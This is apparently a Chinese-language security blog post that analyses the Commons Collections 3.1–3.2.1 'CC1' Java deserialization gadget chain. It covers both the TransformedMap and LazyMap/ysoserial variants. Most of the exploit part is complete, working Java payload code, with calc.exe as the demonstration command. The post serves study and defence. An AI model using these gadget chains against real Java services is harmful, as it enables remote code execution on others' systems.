CommonsCollections1链
yearnxyl Lv2

CC1的影响范围为Apache Commons Collections 3.1至3.2.1,需要提前引入对应版本的jar包。

CommonsCollections1成因

这里从p牛简化过的代码来看CC1的成因

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"C:\\Windows\\System32\\calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}

执行上述代码,可以成功的在本地弹出计算器

image

代码里面涉及到了apache.commons.collections中的一些类,先来了解一下这些类。

Transformer

Transformer是一个接口,只有一个待实现的方法

1
2
3
4
5
package org.apache.commons.collections;

public interface Transformer {
Object transform(Object var1);
}

看一下都有那些类实现了该接口

image

ConstantTransformer

ConstantTransformer实现了TransformerSerializable接口

看一下其内部方法:

getInstance(Object constantToReturn)方法返回ConstantTransformer类的实例

ConstantTransformer(Object constantToReturn)为构造方法。获取传递进来的对象,并存储在类中

transform(Object input)getConstant()将构造函数的参数对象返回出去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package org.apache.commons.collections.functors;

import java.io.Serializable;
import org.apache.commons.collections.Transformer;

public class ConstantTransformer implements Transformer, Serializable {
static final long serialVersionUID = 6374440726369055124L;
public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
private final Object iConstant;

public static Transformer getInstance(Object constantToReturn) {
return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));
}

public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}

public Object transform(Object input) {
return this.iConstant;
}

public Object getConstant() {
return this.iConstant;
}
}

简单来说ConstantTransformer对对象做了一层封装。

InvokerTransformer

InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序列化能执⾏任意代码的关键。

其内部方法:getInstance()为获取类实例,transform()用来执行命令

构造方法存在两个函数重载。这里我们主要看:InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)

构造方法需要传入三个参数:调用的函数名、函数所需参数类型、传递给函数的参数

1
2
3
4
5
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

transform()就是很标准的反射。根据获取的对象调用相应的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}

ChainedTransformer

主要看transform()方法,将传递进来的object放到实现transformer接口的类中执行,生成新的object,再交给下一个类去执行。

1
2
3
4
5
6
7
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}

TransformedMap

TransformedMap的作用是对HashMap进行修饰。用来在存入HashMap之前对keyvalue进行操作。

decorate()方法是返回类实例,因为该类构造方法为protect修饰。第二个参数和第三个参数为keyvalue的修饰器。

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
1
2
3
4
5
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

当调用put()方法时,会对传入的keyvalue,分别使用各自的修饰器进行修饰。

1
2
3
4
5
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
1
2
3
4
5
6
7
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}

protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}

举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] args) {
Map<String,String> map=new HashMap<>();
Map transformedMap=TransformedMap.decorate(map, new Transformer() {
@Override
public Object transform(Object o) {
return o.toString().toUpperCase();
}
}, new Transformer() {
@Override
public Object transform(Object o) {
return o.toString().toUpperCase();
}
});
transformedMap.put("key","value");
System.out.println(transformedMap.get("KEY"));
}
}

在这个例子中,创建TransformedMapHashMap进行修饰。在调用decorate()方法时,key修饰器和value修饰器均使用匿名类的方法创建。

当执行put()方法时,会将传入的keyvalue分别放入各自的修饰器中做大写处理。

image

认识完各个类,我们将上面的代码逻辑捋一下:

  1. 当执行outerMap.put("test", "xxxx");时,testxxxx会分别调用keyTransformervalueTransformertransform()进行修饰
  2. Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);这里可以看到valueTransformertransformerChain
  3. transformerChaintransform()方法将xxxx按顺序给ConstantTransformerInvokerTransformertransform()方法执行
  4. ConstantTransformertransform()返回Runtime实例化对象
  5. InvokerTransformertransform()利用反射机制,执行Runtime对象的exec方法来实现命令执行

构造CommonsCollections1

前面代码的核心便是outerMap.put("test", "xxxx"),只有执行该操作时才可以调用整个链。因此如果想在反序列化时使用CC1,需要寻找一个类,该类的readObject()方法存在TransformedMap.put()或与其类似的操作。这里与其类似的操作是指什么呢?我们可以看一下TransformedMap中,是否存在其他方法调用了keyTransformervalueTransformer?这里找到了checkSetValue

1
2
3
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}

为了反序列化时实现CC1,我们引入一个新的类AnnotationInvocationHandler

AnnotationInvocationHandler

sun.reflect.annotation.AnnotationInvocationHandler该类为JDK内置类,且并未使用public进行修饰,因此仅能利用反射机制来使用该类。

需要注意的是JDK版本应小于8u71,8u71之后对该类做了一些修改,这里使用的是JDK8u66.

readObject()代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}

}

先来看一下这段代码主要干了什么。

代码中的this.typethis.memberValues可以看一下构造函数。type为继承了Annotation类的类对象,memberValue为传进来的Map

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

var2 = AnnotationType.getInstance(this.type)用于获取注解类型的 AnnotationType 对象。AnnotationType 是 Java 反射 API 中的一个类,它代表了一个注解类型的元数据信息。通过 AnnotationType 对象,可以获取注解类型的名称、成员方法、默认值等相关信息。

Map var3 = var2.memberTypes();用来获取注解类中的成员对象,成员对象名为key,成员类型为value

举例如下:

image

上述代码存在注解类MyAnnotation,通过AnnotationType.getInstance(MyAnnotation.class)拿到了AnnotationType类。再通过AnnotationType.memberTypes()拿到了注解类中的成员对象,这里返回的是Map,成员对象名为key,成员类型为value。放到readObject()方法里,便是获取传递进来的第一个参数对应的注释解的成员变量。

Iterator var4 = this.memberValues.entrySet().iterator()前面我们提到this.memberValues为传递进来的MapMap.entrySet().iterator() 是一个方法调用序列,用于获取映射的键值对视图的迭代器。通过调用 entrySet() 方法获取键值对视图,然后使用 iterator() 方法获取迭代器,我们可以对键值对进行迭代和访问。举例如下:

image

放到readObject()里,便是通过迭代访问传递进来的第二个参数Mapkeyvalue

最后再看代码中的while循环(var3var5是两个不同的Map,一个为注解类成员变量Map,一个为传递进来的参数Map):

1
2
3
4
5
6
7
8
9
10
11
while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
  • String var6 = (String)var5.getKey():从传递进来的参数Map中获取key
  • Class var7 = (Class)var3.get(var6):从注解类成员变量Map中获取key对应值的类型
  • if (var7 != null):若key对应的值的类型不为空,则代表key是注解类的成员变量
  • Object var8 = var5.getValue():从传递进来的参数Map中获取value
  • !var7.isInstance(var8)value的类型和从注解Map中获取的类型不相同,则对传进来的参数Map重新赋值

setValue(...)是这段代码的核心。当AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2)构造方法第二个参数为TransformedMap时,var5.setValue()会调用TransformedMap.chechSetValue()方法。我们来捋一下这个调用的过程。

  1. 我们在构造方法中传递进来的第二个参数为TransformedMap,此时this.memberValuesTransformedMap
  2. Iterator var4 = this.memberValues.entrySet().iterator();此处先调用entrySet()方法,但是TransformedMap并没有该方法,因此调用的是其父类AbstractInputCheckedMapDecoratorentrySet()
1
2
3
4
5
6
7
protected boolean isSetValueChecking() {
return true;
}

public Set entrySet() {
return (Set)(this.isSetValueChecking() ? new EntrySet(super.map.entrySet(), this) : super.map.entrySet());
}

这里实际上执行的是new EntrySet(super.map.entrySet(), this)EntrySet()AbstractInputCheckedMapDecorator的内置类。

image

构造方法是执行了EntrySet父类的构造方法,并将自己的成员变量parent赋值为AbstractInputCheckedMapDecorator类。在往后我们先不分析。回到this.memberValues.entrySet().iterator()iterator()EntrySet下面的方法,返回了EntrySetIterator类。image

EntrySetIterator同样是AbstractInputCheckedMapDecorator的内置类。构造方法也与EntrySet类似。该内置类的parent成员变量也是AbstractInputCheckedMapDecoratorimage

  1. Map.Entry var5 = (Map.Entry)var4.next();再往后看,这里的next()方法为EntrySetIterator类的next()方法

image

返回的是MapEntry类,该类与同样是内置类。其他的与上面两个内置类相似

image

  1. var5.setValue(...)这里调用的是MapEntrysetValue()方法。
1
2
3
4
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}

这里对value值做了处理,this.parentAbstractInputCheckedMapDecorator。看一下checkSetValue()方法

1
protected abstract Object checkSetValue(Object var1);

发现这是一个抽象方法,没有具体的实现过程。但是在上面我们提到过TransformedMap中实现了该方法。因此这里实际调用的是TransformedMap.checkSetValue

1
2
3
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}

到这里我们就知道readObject()setValue()是如何调用TransformedMap.chechSetValue()的了。

在反序列化时执行AnnotationInvocationHandler.readObject()再配合上我们精心构造的Transformer便可以进行命令执行。

构造CommonsCollections1

结合前面讲的内容,构造代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package org.example;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.reflect.annotation.*;

import java.io.*;
import java.lang.annotation.*;
import java.lang.reflect.AnnotatedElement;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] args) throws Exception {
//创建文件存储序列化数据
File file = new File("./a.txt");
try {
file.createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
//创建输出流和输入流
FileOutputStream fileOutputStream = new FileOutputStream(file);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
FileInputStream fileInputStream = new FileInputStream(file);
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
//构造CC链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",
new Class[]{String.class}, new String[]{"C:\\Windows\\System32\\calc.exe"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map innerMap=new HashMap<>();
Map transformedMap= TransformedMap.decorate(innerMap,null,chainedTransformer);
//通过反射获取AnnotationInvocationHandler类
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object object = constructor.newInstance(Retention.class,transformedMap);
//序列化
objectOutputStream.writeObject(object);
//反序列化
Object o=objectInputStream.readObject();
}
}

执行这段代码会发现报错

image

原因是new ConstantTransformer(Runtime.getRuntime())里的参数是Runtime实例,Runtime没有实现Serializable接口,因此不能反序列化。

解决方法就是将整个实例化的过程放到ChainedTransformer.transform()流程中,如下:

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new String[]{"C:\\Windows\\System32\\calc.exe"})
};

这里传入的参数换成了Runtime.classClass类有实现Serializable接口,因此可以序列化。

此时更改程序并执行,会发现经过反序列化之后并没有弹出计算器。并且查看源码会发现:
Object object = constructor.newInstance(Retention.class,transformedMap);存在一个Retention.class类对象。解释一下为什么没有弹计算器,以及Retention.class是什么?

Retention是Java中的注解类,其存在成员变量RetentionPolicy value()

image

上面提到的流程里:从参数Map里取的key,同时出现在注解类成员变量Map里,并且注解类Map的类型与参数Map的类型不同时才会执行setValue

image

在我们的代码里,由注解类Rentention生成的Map{value=class java.lang.annotation.RetentionPolicy},而传进的参数Map并没有值,因此无法执行setValue()。为了执行setValue(),我们需要在Map中存入名为valuekey,且对应的value类型不为java.lang.annotation.RetentionPolicy

因此最终的CC1如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package org.example;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.reflect.annotation.*;

import java.io.*;
import java.lang.annotation.*;
import java.lang.reflect.AnnotatedElement;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] args) throws Exception {
//创建文件存储序列化数据
File file = new File("./a.txt");
try {
file.createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
//创建输出流和输入流
FileOutputStream fileOutputStream = new FileOutputStream(file);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
FileInputStream fileInputStream = new FileInputStream(file);
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
//构造CC链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new String[]{"C:\\Windows\\System32\\calc.exe"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map innerMap=new HashMap<>();
innerMap.put("value","aaaa");
Map transformedMap= TransformedMap.decorate(innerMap,null,chainedTransformer);
//通过反射获取AnnotationInvocationHandler类
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object object = constructor.newInstance(Retention.class,transformedMap);
//序列化
objectOutputStream.writeObject(object);
//反序列化
Object o=objectInputStream.readObject();
}
}

image

ysoserial的LazyMap链

和我们上面构造的链不同,在ysoserial中使用的是LazyMap而非TransformedMap

看一下ysoserial CommonsCollections1是如何实现的(注:代码中的new ConstantTransformer(1)并没有实际作用):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

return handler;
}

在这里我们需要重点关注以下三行代码干了什么,很明显他们是反序列化的核心。逐行来进行分析

1
2
3
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

第一行:

LazyMap.decorate()用来返回LazyMap实例化对象。既然使用了LazyMap替换TransformedMap,那就说明在LazyMap中存在某个方法,可以像TransformedMap.put()TransformedMap.checksetValue()一样调用了ChainedTransformer.transform()

通过构造方法发现ChainedTransforme变为了this.factory

1
2
3
4
5
6
7
8
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}

查看类中的方法发现LazyMap.get()调用了ChainedTransformer.transform()

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}

也就是说在反序列化的时候,readObject()方法通过某种方法调用了LazyMap.get()

第二行:

继续往下看final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);,跟一下该方法,发现实际调用的是Gadgets.createProxy(),并且对map调用了Gadgets.createMemoizedInvocationHandler()

1
2
3
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}

看一下Gadgets.createMemoizedInvocationHandler()

1
2
3
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}

这里的ANN_INV_HANDLER_CLASSsun.reflect.annotation.AnnotationInvocationHandler

image

Reflections.getFirstCtor()方法是在获取AnnotationInvocationHandler的构造方法

1
2
3
4
5
public static Constructor<?> getFirstCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
setAccessible(ctor);
return ctor;
}

实例化时传入的第一个参数Override.class时Java中的注解类,和我们上面构造链时用的Retention.class类似,不过Override内部没有成员变量。

也就是说Gadgets.createMemoizedInvocationHandler()AnnotationInvocationHandler进行了实例化,第一个参数为Override.class,第二个参数为LazyMap

回来看Gadgets.createProxy()

1
2
3
4
5
6
7
8
public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[ 0 ] = iface;
if ( ifaces.length > 0 ) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
}

iface此时是Map.classiface.cast()方法是将传递进来的实例化类再返回出去

1
2
3
4
5
public T cast(Object obj) {
if (obj != null && !isInstance(obj))
throw new ClassCastException(cannotCastMsg(obj));
return (T) obj;
}

这里调用了Proxy.newProxyInstance(ClassLoader loader,Class<?>[] interfaces,InvocationHandler h)方法,在Java中该方法用来生成动态代理类。关于动态代理的内容,以后再说。这里只需要知道由Proxy.newProxyInstance(...)生成的代理类,在使用类中的方法时会调用第三个参数InvocationHandler h中的invoke()方法,而在这里的参数是实例化后的AnnotationInvocationHandler

我们看一下AnnotationInvocationHandler.invoke(),发现其调用了LazyMap.get()

image

简单来说,final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);这行代码生成了一个代理类mapProxy readObject()调用代理类中的方法时,会调用AnnotationInvocationHandler.invoke(),进一步调用LazyMap.get()

第三行:

再往后看代码是final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);Gadgets.createMemoizedInvocationHandler()上面已经分析过了:将AnnotationInvocationHandler实例化,mapProxy 为实例化时的第二个参数。这里为什么又将AnnotationInvocationHandler实例化一遍?并且根据ysoserial 后面的代码发现,实例化后的对象就是我们要序列化的对象。

为了方便将两个AnnotationInvocationHandler进行区分,我们根据参数不同,将他们分别命名为AnnotationInvocationHandler_mapProxyAnnotationInvocationHandler_lazyMapAnnotationInvocationHandler_mapProxy是我们进行序列化的。

反序列化时,会执行AnnotationInvocationHandler_mapProxy.readObject(),进而调用mapProxy.entrySet(),然后调用AnnotationInvocationHandler_lazyMap.invoke(),最后调用lazyMap.get()来执行任意命令。

image

构造LazyMap CommonsCollections1

通过前面的分析,知道了LazyMap CommonsCollections1的整个流程。我们尝试自己来使用LazyMap写一下CC1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package org.example;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import sun.reflect.annotation.*;

import java.io.*;
import java.lang.annotation.*;
import java.lang.reflect.AnnotatedElement;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import java.util.logging.Handler;

public class test {
public static void main(String[] args) throws Exception {
//创建文件存储序列化数据
File file = new File("./a.txt");
try {
file.createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
//创建输出流和输入流
FileOutputStream fileOutputStream = new FileOutputStream(file);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
FileInputStream fileInputStream = new FileInputStream(file);
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
//构造CC链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new String[]{"C:\\Windows\\System32\\calc.exe"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map innerMap=new HashMap<>();

//通过反射获取AnnotationInvocationHandler类
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//创建LasyMap
Map lazyMap= LazyMap.decorate(innerMap,chainedTransformer);
//AnnotationInvocationHandler实例化
InvocationHandler aih = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);
//创建AnnotationInvocationHandler代理类
Map aihProxy= (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},aih);
//由代理类生成新的AnnotationInvocationHandler
InvocationHandler handler= (InvocationHandler) constructor.newInstance(Override.class,aihProxy);
//序列化
objectOutputStream.writeObject(handler);
//反序列化
Object o=objectInputStream.readObject();
}
}

可以发现顺利弹计算器,但是运行时产生的错误是为什么?这个确实没了解到。似乎牵扯到了代理里面

image

总结

TransformedMap:

image

LazyMap:

image